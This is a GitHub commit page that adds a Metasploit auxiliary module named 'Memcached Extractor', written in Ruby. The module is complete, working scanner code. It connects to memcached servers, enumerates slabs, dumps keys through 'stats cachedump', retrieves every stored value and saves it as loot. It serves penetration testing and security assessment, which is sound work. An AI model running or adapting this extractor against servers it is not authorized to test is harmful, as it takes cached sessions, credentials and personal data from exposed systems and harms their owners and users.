Skip to content

Commit e46395f

Browse files
committed
Land rapid7#4596, @pdeardorff-r7's memcached extractor
2 parents e7c21f3 + 1cdcd3c commit e46395f

File tree

1 file changed

+153
-0
lines changed

1 file changed

+153
-0
lines changed
Lines changed: 153 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,153 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
include Msf::Exploit::Remote::Tcp
10+
include Msf::Auxiliary::Scanner
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(update_info(
15+
info,
16+
'Name' => 'Memcached Extractor',
17+
'Description' => %q(
18+
This module extracts the slabs from a memcached instance. It then
19+
finds the keys and values stored in those slabs.
20+
),
21+
'Author' => [ 'Paul Deardorff <paul_deardorff[at]rapid7.com>' ],
22+
'License' => MSF_LICENSE,
23+
'References' =>
24+
[
25+
['URL', 'https://github.com/memcached/memcached/blob/master/doc/protocol.txt']
26+
]
27+
))
28+
29+
register_options(
30+
[
31+
Opt::RPORT(11211)
32+
], self.class
33+
)
34+
35+
register_advanced_options(
36+
[
37+
OptInt.new('MAXKEYS', [true, 'Maximum number of keys to be pulled from each slab', 100]),
38+
OptInt.new('PRINTKEYS', [true, 'Number of keys shown in preview table for each instance', 10])
39+
], self.class
40+
)
41+
end
42+
43+
def max_keys
44+
datastore['MAXKEYS'].to_i
45+
end
46+
47+
def print_keys
48+
datastore['PRINTKEYS'].to_i
49+
end
50+
51+
def localhost?(ip)
52+
%w(localhost 127.0.0.1).include?(ip)
53+
end
54+
55+
# Returns array of keys for all slabs
56+
def enumerate_keys
57+
keys = []
58+
enumerate_slab_ids.each do |sid|
59+
loop do
60+
sock.send("stats cachedump #{sid} #{max_keys}\r\n", 0)
61+
data = sock.recv(4096)
62+
break if !data || data.length == 0
63+
matches = /^ITEM (?<key>.*) \[/.match(data)
64+
keys << matches[:key] if matches
65+
break if data =~ /^END/
66+
end
67+
end
68+
keys
69+
end
70+
71+
# Returns array of slab ids as strings
72+
def enumerate_slab_ids
73+
sock.send("stats slabs\r\n", 0)
74+
slab_ids = []
75+
loop do
76+
data = sock.recv(4096)
77+
break if !data || data.length == 0
78+
matches = data.scan(/^STAT (?<slab_id>(\d)*):/)
79+
slab_ids << matches
80+
break if data =~ /^END/
81+
end
82+
slab_ids.flatten!
83+
slab_ids.uniq! || []
84+
end
85+
86+
def data_for_keys(keys = [])
87+
all_data = {}
88+
keys.each do |key|
89+
sock.send("get #{key}\r\n", 0)
90+
data = []
91+
loop do
92+
data_part = sock.recv(4096)
93+
break if !data_part || data_part.length == 0
94+
data << data_part
95+
break if data_part =~ /^END/
96+
end
97+
all_data[key] = data.join
98+
end
99+
all_data
100+
end
101+
102+
def determine_version
103+
sock.send("version\r\n", 0)
104+
stats = sock.recv(4096)
105+
if /^VERSION (?<version>[\d\.]+)/ =~ stats
106+
version
107+
else
108+
nil
109+
end
110+
end
111+
112+
def run_host(ip)
113+
peer = "#{ip}:#{rport}"
114+
vprint_status("#{peer} - Connecting to memcached server...")
115+
begin
116+
connect
117+
if (version = determine_version)
118+
vprint_good("#{peer} - Connected to memcached version #{version}")
119+
unless localhost?(ip)
120+
report_service(
121+
host: ip,
122+
name: 'memcached',
123+
port: rport,
124+
proto: 'tcp',
125+
info: version
126+
)
127+
end
128+
else
129+
print_error("#{peer} - unable to determine memcached protocol version")
130+
return
131+
end
132+
keys = enumerate_keys
133+
print_good("#{peer} - Found #{keys.size} keys")
134+
return if keys.size == 0
135+
136+
data = data_for_keys(keys)
137+
result_table = Rex::Ui::Text::Table.new(
138+
'Header' => "Keys/Values Found for #{peer}",
139+
'Indent' => 1,
140+
'Columns' => [ 'Key', 'Value' ]
141+
)
142+
data.take(print_keys).each { |key, value| result_table << [key, value.inspect] }
143+
print_line
144+
print_line("#{result_table}")
145+
unless localhost?(ip)
146+
path = store_loot('memcached.dump', 'text/plain', ip, data, 'memcached.txt', 'Memcached extractor')
147+
print_good("#{peer} - memcached loot stored at #{path}")
148+
end
149+
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout
150+
vprint_error("#{peer} - Could not connect to memcached server!")
151+
end
152+
end
153+
end

0 commit comments

Comments
 (0)